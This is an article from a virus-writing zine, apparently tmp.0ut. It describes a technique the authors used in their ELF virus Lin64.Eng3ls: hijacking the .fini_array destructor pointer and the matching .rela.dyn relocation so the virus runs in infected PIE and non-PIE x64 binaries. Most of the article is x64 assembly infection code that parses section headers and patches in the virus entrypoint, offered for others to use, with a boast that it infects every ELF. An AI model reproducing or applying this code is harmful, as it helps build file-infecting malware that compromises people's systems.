2.2 A short note on entrypoint obscuring in ELF binaries
With love, by s01den.
In the previous zine, Sblip and I presented you a virus we wrote, Lin64.Eng3ls, infecting x64 ELF. This virus implemented some fancy anti-RE techniques such as simple encryption, entrypoint obscuring (EPO) and .init_array hijacking to detect debuggers by pointing to a ptrace call.
Quick reminder from tmp.0ut #1
In non-EPO viruses, the entrypoint of an infected program is modified to point to the beginning of the virus, whereas in EPO viruses, the virus is called in another way, whether by hiding a jump in the host's code or by, like here, abusing a specificity of the executable file format.
In Eng3ls, the EPO was made by modifying the .fini_array section (which contains a pointer to the destructor) in order to make it point to the virus's first instruction. However, at the time, we thought that this technique was only working for non-PIE binaries, so Eng3ls couldn't infect a lot of files. We simply didn't manage to make this technique working for PIE binaries.
But some months after the releasing of Tmp.0ut #1, I started up the debugger to solve this issue once and for all. The problem was that there is another place where the pointer to the destructor is stored: an entry in the .rela.dyn section. We just have to patch it with the address of the virus's first instruction!
--------------------------- CUT-HERE -----------------------------
parse_shdr:
xor rcx, rcx
xor rdx, rdx
mov cx, word [rax+e_hdr.shnum] ; rcx contains the number of entries in the program header table
mov rbx, qword [rax+e_hdr.shoff] ; rbx contains the offset of the program header table
mov dx, word [rax+e_hdr.shentsize] ; rdx contains the size of an entry in the program header table
loop_shdr:
add rbx, rdx
dec rcx
cmp dword [rax+rbx+e_shdr.type], 0x0F ; 0x0F = SHT_FINI_ARRAY, the section we're looking to modify to EPO (.fini_array)
je dtor_found
cmp rcx, 0
jg loop_shdr
dtor_found:
mov rdi, qword [rax+rbx+e_shdr.offset]
mov r12, qword [rax+rdi]
xor rcx, rcx
xor rdx, rdx
mov cx, word [rax+e_hdr.shnum] ; rcx contains the number of entries in the program header table
mov rbx, qword [rax+e_hdr.shoff] ; rbx contains the offset of the program header table
mov dx, word [rax+e_hdr.shentsize] ; rdx contains the size of an entry in the program header table
loop_shdr_2:
add rbx, rdx
dec rcx
cmp dword [rax+rbx+e_shdr.type], 0x04 ; 0x04 = SHT_RELA, we need to modify an entry of this section in order to make the EPO working
je rela_dyn_found
cmp rcx, 0
jg loop_shdr_2
; compute the address differently if the ELF is PIE or not
check_pie:
pop rdi
cmp word [rax+e_hdr.type], 2
je check_non_pie
cmp qword [rax+rdi], 0x00006000
jng continue_infect
mov rdi, r8
mov rax, 3 ; close
syscall
mov rsp, rbp
ret
check_non_pie:
cmp qword [rax+rdi], 0x0c000000
jng continue_infect
mov rdi, r8
mov rax, 3 ; close
syscall
mov rsp, rbp
ret
; called when we found the .rela.dyn section
rela_dyn_found:
push rdi
mov rdi, qword [rax+rbx+e_shdr.offset]
xor rcx, rcx
.loop:
lea rbx, [rdi+rcx*8]
mov r10, qword [rax+rbx] ; r10 contains an addr we obtain by parsing the section
cmp r10, r12 ; r12 contains the addr stored in .fini_array (before our modifications)
jne .continue ; loop until we find the right addr to modify
mov qword [rax+rbx], r9 ; when we find it, we replace it with the virus's EP
mov rcx,0xf
.continue:
inc rcx
cmp rcx, 0x10
jne .loop
jmp check_pie
continue_infect:
mov [rax+rdi], r9 ; we write the virus's EP in .fini_array
; ...
; apply the modifications
--------------------------------------------------------------------------------
Now we can infect every x64 ELF, PIE or not, with EPO!
Every? Not exactly... We'll see that in the next issue!
Have a good day!
Greetz to
Sblip, TMZ, netsp00ky, smelly, the tmp.0ut crew, Sh4ll, 0kb, Xylit0l and all the others persons who keep the underground mind!
Fuck infosec and all the capitalists pigs.